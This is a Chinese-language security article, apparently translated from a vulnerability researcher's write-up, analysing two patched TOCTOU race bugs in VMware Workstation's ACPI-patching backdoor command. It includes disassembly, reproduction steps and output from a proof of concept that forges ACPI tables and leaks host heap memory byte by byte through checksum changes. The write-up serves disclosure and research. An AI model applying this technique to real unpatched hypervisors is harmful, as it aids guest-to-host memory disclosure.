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安全分析 | 两个VMware Workstation中的TOCTOU漏洞

FreeBuf · 公众号 · 互联网安全 · 2020-11-15 16:42

正文

前两天，VMware发布了一份安全公告，并修复了VMware ESXi、Workstation、Fusion和NSX-T中的六个安全漏洞。其中有两个漏洞属于TOCTOU（Time-of-check Time-of-use）竞争条件漏洞，既然现在漏洞已被修复，那我们就一起来看一看这两个TOCTOU漏洞的详细信息以及其对VMware系统的影响吧！

漏洞分析

VMware Workstation使用了一个修改版的PhoenixBIOS 4.0 Release 6来实现其旧版本BIOS的模拟功能。在我们对BIOS.440.ROM镜像分析过程中，我们发现其中一处修改将导致VMware软件中存在后门。这种场景下的“后门”其实并没有什么恶意性，与传统意义上的后门相反，这个“后门”指的是一个合法的数据通道，虚拟客户机可以通过它与管理程序进行通信。在这种情况下，后门是通过模拟的I/O端口实现的，而用户可以通过执行以下指令并利用后门来发送消息：

BIOS_F:358B backdoor        proc near                
BIOS_F:358B                 mov     dx, 5658h
BIOS_F:358E                 mov     eax, 564D5868h
BIOS_F:3594                 in      eax, dx
BIOS_F:3596                 retn
BIOS_F:3596 backdoor        endp

通过交叉引用后门调用并结合open-vm-tools，我们可以识别出ROM镜像中所使用的命令集：

BDOOR_CMD_GETMEMSIZE
BDOOR_CMD_GETMHZ
BDOOR_CMD_ISACPIDISABLED
BDOOR_CMD_PATCH_ACPI_TABLES
BDOOR_CMD_GETUUID
BDOOR_CMD_GETDISKGEO
BDOOR_CMD_OSNOTFOUND
BDOOR_CMD_APMFUNCTION

这里的每一条指令代表的都是一个后门功能函数，它们在主机系统上实现，可以由用户通过向模拟端口传递相应的值来进行调用。

在这里，BDOOR_CMD_PATCH_ACPI_TABLES命令是最有意思的了，因为它可以从用户的内存中解析ACPI表，下面的分析过程基于的是VMware Workstation的Linux版本（v 15.5.6）。

后门函数所实现的BDOOR_CMD_PATCH_ACPI_TABLES首先会检查目标主机安装的VMware Tools版本以及当前用户处理器的权限等级（CPL），然后再进行功能调用。

.text:00000000001D9AF0 BackdoorPatchACPITables proc near        
.text:00000000001D9AF0
.text:00000000001D9B14                 call    Get_VMTools_Version
.text:00000000001D9B19                 test    eax, eax        ; check if vmware tools installed
.text:00000000001D9B1B                 jnz     short vmtools_available
.text:00000000001D9B50 vmtools_available:                       
.text:00000000001D9B50                 call    Get_VMTools_Version
.text:00000000001D9B55                 cmp     eax, 17FFh      ; check if vmware tools version < 6.0.0
.text:00000000001D9B5A                 ja      short return
.text:00000000001D9B5C                 call    Check_CPL0      ; check if invoked at CPL 0
.text:00000000001D9B61                 test    al, al
.text:00000000001D9B63                 jz      short return

Get_VMTools_Version函数可以返回VMware Tools的版本信息，返回数据的格式为编码整型值，这部分数据在open-vm-tools中的定义如下：

#define TOOLS_VERSION_UINT(MJR, MNR, BASE) (((MJR) << 10) + ((MNR) << 5) + (BASE))

其中，BDOOR_CMD_PATCH_ACPI_TABLES命令只有在用户报告VMware Tools版本低于6.0.0的时候才会使用到。除此之外，这里还会检查以确保命令是从CPL 0（或ring 0）调用的，而这也是最高等级的用户权限了。这种机制也许是为了限制用户使用这个后门命令来猜测启动代码。完成检查之后，代码将会扫描用户的BIOS高内存区域（0xE0000到0xFFFFF）以识别“RSD PTR”标记，并尝试定位Root系统描述指针（RSDP）结构。

.text:00000000001D9B73                 mov     r12d, 0E0000h
.text:00000000001D9B79                 lea     rbp, [r13+24h]
.text:00000000001D9B7D                 nop     dword ptr [rax]
.text:00000000001D9B80
.text:00000000001D9B80 loc_1D9B80:                              
.text:00000000001D9B80                 mov     edx, 24h
.text:00000000001D9B85                 mov     rsi, r13
.text:00000000001D9B88                 mov     rdi, r12
.text:00000000001D9B8B                 mov     r8d, 1
.text:00000000001D9B91                 mov     ecx, 40h
.text:00000000001D9B96                 call    Read_GuestMem
.text:00000000001D9B9B                 mov     edx, 8          ; n
.text:00000000001D9BA0                 mov     rdi, r13        ; s1
.text:00000000001D9BA3                 lea     rsi, aRsdPtr    ; "RSD PTR "
.text:00000000001D9BAA                 call    _memcmp
.text:00000000001D9BAF                 test    eax, eax

接下来，代码还会对剩下的ACPI数据结构进行解析以定位系统差异描述表（DSDT）。

text:00000000001D9BE9                 lea     rsi, aRsdt      ; "RSDT"
text:00000000001D9BF0                 mov     rcx, rbp
text:00000000001D9BF3                 call    ValidateAndGetACPITable
text:00000000001D9C24                 lea     rsi, aFacp      ; "FACP"
text:00000000001D9C2B                 call    ValidateAndGetACPITable
text:00000000001D9C30                 test    al, al
text:00000000001D9C63                 lea     rsi, aDsdt      ; "DSDT"
text:00000000001D9C6A                 call    ValidateAndGetACPITable
text:00000000001D9C6F                 test    al, al

找到DSDT之后，后门函数会寻找并用“F00”替换_S1的数据。

.text:00000000001D9CCA loc_1D9CCA:                              
.text:00000000001D9CCA          cmp     [rsp+0D8h+var_D3], 5Fh ; '_'
.text:00000000001D9CCF          jnz     short continue
.text:00000000001D9CD1          cmp     [rsp+0D8h+var_D3+1], 53h ; 'S'
.text:00000000001D9CD6          jnz     short continue
.text:00000000001D9CD8          cmp     [rsp+0D8h+var_D3+2], 31h ; '1'
.text:00000000001D9CDD          jnz     short continue
.text:00000000001D9CDF          sub     eax, 1
.text:00000000001D9CE2          jnz     loc_1D9E69
.text:00000000001D9CE8          add     r12, [rsp+0D8h+var_B8]
.text:00000000001D9CED          mov     word ptr [r12], 'OF'
.text:00000000001D9CF4          mov     byte ptr [r12+2], 4Fh ; 'O'

为了测试该漏洞，我们首先需要导出DSDT表，并在报告了VMware Tools版本小于6.0.0之后重启客户机。在对open-vm-tools进行分析之后，我们发现个该工具将使用“tools.set.version”这个GuestRPC命令来设置这条信息。

$ sudo cat /sys/firmware/acpi/tables/DSDT > DSDT
$ iasl -d DSDT
Intel ACPI Component Architecture
ASL+ Optimizing Compiler/Disassembler version 20180105
Copyright (c) 2000 - 2018 Intel Corporation
Input file DSDT, Length 0x2148B (136331) bytes
ACPI: DSDT 0x0000000000000000 02148B (v01 PTLTD  Custom   06040000 MSFT 03000001)
Pass 1 parse of [DSDT]
Pass 2 parse of [DSDT]
Parsing Deferred Opcodes (Methods/Buffers/Packages/Regions)
Parsing completed
Disassembly completed
ASL Output:    DSDT.dsl - 1296923 bytes
$ vmware-rpctool "tools.set.version 4096"
$ reboot

重启之后，我们再次导出DSDT表，然后对ASL代码进行分析。

* Original Table Header:
   *     Signature        "DSDT"
   *     Length           0x0002148B (136331)
   *     Revision         0x01 **** 32-bit table (V1), no 64-bit math support
-  *     Checksum         0x9E
+ *     Checksum         0x9D
   *     OEM ID           "PTLTD "
   *     OEM Table ID     "Custom  "
   *     OEM Revision     0x06040000 (100925440)
@@ -2524,7 +2524,7 @@
         0x05,  
         0x05
     })
-    Name (_S1, Package (0x02)  // _S1_: S1 System State
+    Name (FOO, Package (0x02)
     {
         0x04,  
         0x04

S1休眠状态此时会被更改，而且导出表的校验和也会进行相应的更新。

在这里，我发现了两个不同的Time-of-check Time-of-use (TOCTOU)漏洞。其中一个是越界受限写入漏洞，另一个则是越界读取漏洞，并有可能导致目标主机发生信息泄露。

DSDT表中包含了一个ACPI Header，后面跟着的是AML字节码。ACPI Header的数据结构如下所示：

struct acpi_table_header {
        char signature[ACPI_NAMESEG_SIZE];         /* ASCII table signature */
        u32 length;                                /* Length of table in bytes, including this header */
        u8 revision;                               /* ACPI Specification minor version number */
        u8 checksum;                               /* To make sum of entire table == 0 */
        char oem_id[ACPI_OEM_ID_SIZE];             /* ASCII OEM identification */
        char oem_table_id[ACPI_OEM_TABLE_ID_SIZE]; /* ASCII OEM table identification */
        u32 oem_revision;                          /* OEM revision number */
        char asl_compiler_id[ACPI_NAMESEG_SIZE];   /* ASCII ASL compiler vendor ID */
        u32 asl_compiler_revision;                 /* ASL compiler version */
};

Header中最有意思的数据字段为length和checksum。表的长度和校验和首先会在ValidateAndGetACPITable函数被调用时来进行验证，调用位置为0x01D9C6A：

.text:00000000001D9910 ValidateAndGetACPITable proc near
.text:00000000001D991B                 mov     edx, 4          ; length to read
.text:00000000001D9920                 push    r13
.text:00000000001D9922                 push    r12
.text:00000000001D9924                 mov     r12d, edi
.text:00000000001D9927                 push    rbp
.text:00000000001D9928                 lea     rdi, [r12+4]    ; physical address of table + 4, this points to the length field in ACPI header
. . .
.text:00000000001D994D                 lea     rsi, [rsp+68h+table_size] ; buffer for writing the content
.text:00000000001D9952                 call    ReadGuestPhyAddr
.text:00000000001D9957                 mov     r8d, [rsp+68h+table_size]
.text:00000000001D995C                 lea     eax, [r8-1]
.text:00000000001D9960                 cmp     eax, 0FFFFFFh
.text:00000000001D9965                 jbe     short map_guestmem
. . .
.text:00000000001D99B8 map_guestmem:                            
.text:00000000001D99B8                 cmp     r14b, 1
.text:00000000001D99BC                 mov     esi, r8d        ; length to read from guest
.text:00000000001D99BF                 mov     rdi, r12        ; physical address of ACPI table
. . .
.text:00000000001D99D2                 call    MapGuestPhyAddr
.text:00000000001D99D7                 cmp     dword ptr [rbx+0Ch], 1
.text:00000000001D99DB                 mov     r12d, [rsp+68h+table_size]
. . .
.text:00000000001D9A10                 cmp     r12d, 35        ; check if length is at least ACPI table header size
.text:00000000001D9A14                 jbe     invalid_size
.text:00000000001D9A1A                 mov     eax, dword ptr [rsp+68h+acpi_table.signature]
.text:00000000001D9A1E                 cmp     [rbp+0], eax    ; check table signature
. . .
.text:00000000001D9A70 calc_checksum:                           
.text:00000000001D9A70                 mov     rax, [rbx+10h]
.text:00000000001D9A74                 movzx   eax, byte ptr [rax+rbp] ; read a byte from guest ACPI table
.text:00000000001D9A78
.text:00000000001D9A78 loc_1D9A78:                              
.text:00000000001D9A78                 add     rbp, 1
.text:00000000001D9A7C                 add     r12d, eax
.text:00000000001D9A7F                 cmp     r14d, ebp       ; loop until table size
.text:00000000001D9A82                 jbe     short loc_1D9AD0
.text:00000000001D9A84
.text:00000000001D9A84 loc_1D9A84:                              
.text:00000000001D9A84                 cmp     dword ptr [rbx+0Ch], 1
.text:00000000001D9A88                 jz      short calc_checksum

总的来说，ValidateAndGetACPITable函数首先会从客户机内存中读取出ACPI表的大小，然后利用这个大小值来从客户机物理内存中将整个ACPI表映射到主机内存中。接下来，它会计算映射内存的字节大小并计算出ACPI校验和来对表进行验证。

CVE-2020-3982/ZDI-20-1268

完成了表验证之后，代码会再次从客户机内存中读取出ACPI表长度，然后在DSDT AML代码中搜索_S1。


text:00000000001D9C6A                 call    ValidateAndGetACPITable ; DSDT table validated here
.text:00000000001D9C6F                 test    al, al
.text:00000000001D9C71                 jz      return
.text:00000000001D9C77                 mov     eax, [rsp+0D8h+var_BC]
.text:00000000001D9C7B                 lea     r15, [rsp+0D8h+var_CC]
.text:00000000001D9C80                 mov     r13d, 24h ; '$'
.text:00000000001D9C86                 lea     r14, [rsp+0D8h+var_D3]
.text:00000000001D9C8B                 jmp     short loc_1D9C91
.text:00000000001D9C8D
.text:00000000001D9C8D Patch_S1_Sleep_State:                    
.text:00000000001D9C8D                                          
.text:00000000001D9C8D                 add     r13d, 1
.text:00000000001D9C91
.text:00000000001D9C91 loc_1D9C91:                              
.text:00000000001D9C91                 cmp     eax, 1
.text:00000000001D9C94                 jnz     loc_1D9D91
.text:00000000001D9C9A                 mov     rax, [rsp+0D8h+dsdt]
.text:00000000001D9C9F                 mov     esi, [rax+acpi_table_header.length] ; DSDT table fetched from guest after validation

在这里，客户机操作系统是可以修改两次获取到的表的大小值的，从而导致受限的OOB写入原语：“finding _S1”，并使用F00替换其值。

CVE-2020-3981/ZDI-20-1267

当S1休眠对象被修复之后，Header中的校验和将需要被更新。为了准备计算新的校验和，代码将再次从客户机内存中检索表长度：


.text:00000000001D9CCA                 cmp     [rsp+0D8h+var_D3], 5Fh ; '_'
.text:00000000001D9CCF                 jnz     short Patch_S1_Sleep_State
.text:00000000001D9CD1                 cmp     [rsp+0D8h+var_D3+1], 53h ; 'S'
.text:00000000001D9CD6                 jnz     short Patch_S1_Sleep_State
.text:00000000001D9CD8                 cmp     [rsp+0D8h+var_D3+2], 31h ; '1'
.text:00000000001D9CDD                 jnz     short Patch_S1_Sleep_State
.text:00000000001D9CDF                 sub     eax, 1
.text:00000000001D9CE2                 jnz     loc_1D9E69
.text:00000000001D9CE8                 add     r12, [rsp+0D8h+dsdt]
.text:00000000001D9CED                 mov     word ptr [r12], 'OF'
.text:00000000001D9CF4                 mov     byte ptr [r12+2], 4Fh ; 'O'
.text:00000000001D9CFA
.text:00000000001D9CFA calc_checksum_after_patch:               
.text:00000000001D9CFA                 cmp     [rsp+0D8h+var_BC], 1
.text:00000000001D9CFF                 jnz     loc_1D9E3C
.text:00000000001D9D05                 mov     rax, [rsp+0D8h+dsdt]
.text:00000000001D9D0A                 mov     r13d, [rax+acpi_table_header.length] ; length fetched again from guest memory

如果客户机在这次读取操作之前增加了长度字段的值，那么将导致在校验和计算过程中出现越界读取的情况。

漏洞利用PoC

虽然这个后门函数在执行受信任的BIOS代码期间只被调用一次，但它在引导后不会被禁用，并且即使是客户机操作系统也可以继续访问它。因为BIOS内存区域是可写的，所以在调用后门之前，客户机可以在地址0xE0000插入一个伪造的RSDP结构。由于RSDT物理地址是在伪造的RSDP结构中设置的，因此整个ACPI的解析过程都有可能被劫持：

struct acpi_table_rsdp {
        char signature[8];         /* ACPI signature, contains "RSD PTR " */
        u8 checksum;               /* ACPI 1.0 checksum */
/* ... snip ... */
        u32 rsdt_physical_address; /* 32-bit physical address of the RSDT */
/* ... snip ... */
};

攻击者需要在客户机RAM的末端设置一个DSDT表，这样就可以直接在主机内存上受限OOB访问了。虽然这种OOB写入操作是高度受限的，但ACPI校验和计算过程中的OOB读取是可以泄露主机堆内存数据的。

ACPI表校验和是一个值，它使得表中所有字节的总和为0（mod 256）。考虑到这一点，信息泄漏策略应该是一次泄漏一个字节。攻击者可以设置DSDT ACPI表头，使长度和校验和字段可从客户机访问。AML代码占用了与主机堆内存区域相邻的客户机内存区域末尾，使得客户机无法访问该内存区域。然后，它们可以使用竞争条件触发1字节的OOB读取，并检查校验和值是否已更改。如果是，根据之前的校验和值和更新后的校验和值，利用它们可以计算出泄漏的字节。如果在经过一定量的尝试后没有观察到校验和的变化，则假定泄漏的字节为0。然后，攻击者可以触发一个2字节的OOB读取来泄漏后续字节，以此类推。

下面给出的漏洞利用PoC：


$ sudo insmod backdoor.ko
$ sudo ./poc
poc: [+] Setting open-vm-tools version to 4.0.0 using tools.set.version
poc: [+] Overwriting BIOS memory mapped @ 0x7fdd12fd5000
poc: [+] Trigerring BDOOR_CMD_GETMEMSIZE to get RAM size...
poc: [+] VM high memory address : 0x80000000
poc: [+] Fake Root System Description Pointer @ 0xE0000
RSD  @ 0x00000000000E0000
    0000: 52 53 44 20 50 54 52 20 73 00 00 00 00 00 00 00  RSD PTR s.......
    0010: 00 60 C5 49                                      .`.I
poc: [+] Fake Root System Description Table @ 0x49C56000
RSDT @ 0x0000000049C56000
    0000: 52 53 44 54 28 00 00 00 00 05 00 00 00 00 00 00  RSDT(...........
    0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0020: 00 00 00 00 28 60 C5 49                          ....(`.I
poc: [+] Fake Fixed ACPI Description Table @ 0x49C56028
FACP @ 0x0000000049C56028
    0000: 46 41 43 50 14 01 00 00 00 7C 00 00 00 00 00 00  FACP.....|......
    0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0020: 00 00 00 00 00 00 00 00 D8 FF FF 7F 00 00 00 00  ................
    0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    00A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    00B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    00C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    00D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    00E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    00F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0110: 00 00 00 00                                      ....
poc: [+] Fake Differentiated System Description Table @ 0x7FFFFFD8
DSDT @ 0x000000007FFFFFD8
    0000: 44 53 44 54 28 00 00 00 00 C6 00 00 00 00 00 00  DSDT(...........
    0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0020: 00 00 00 00 5F 53 31 00                          ...._S1.
poc: [+] Starting thread to change DSDT length during race...
poc: [+] Triggering BDOOR_CMD_PATCH_ACPI_TABLES from CPL 0...
poc: [+] Leaking checksum for 8 bytes adjacent to guest memory mapping...
........................
A5 A5 A5 75 C7 48 48 48
poc: [+] Leaked host memory address : 0x7fae30000020

下面给出的是vmware-vmx进程的主机堆内存状态（2GB内存）：


gdb-peda$ vmmap
...
0x00007fadb0000000 0x00007fae30000000 rw-s      /vmem (deleted)
0x00007fae30000000 0x00007fae309ea000 rw-p      mapped
0x00007fae309ea000 0x00007fae34000000 ---p      mapped
...
gdb-peda$ x/10gx 0x00007fae30000000
0x7fae30000000: 0x00007fae30000020      0x0000000000000000
0x7fae30000010: 0x00000000009ea000      0x00000000009ea000
0x7fae30000020: 0x0000000200000000      0x0000000000000001
0x7fae30000030: 0x00007fae30555b30      0x0000000000000000
0x7fae30000040: 0x00007fae30263860      0x00007fae30278e40

总结

目前，VMware已经在Workstation v16.0版本中修复了该问题。除此之外，VMSA-2020-0023补丁还修复了我的同事Lucas Leong报告的ESXi中的一个可远程利用的漏洞。

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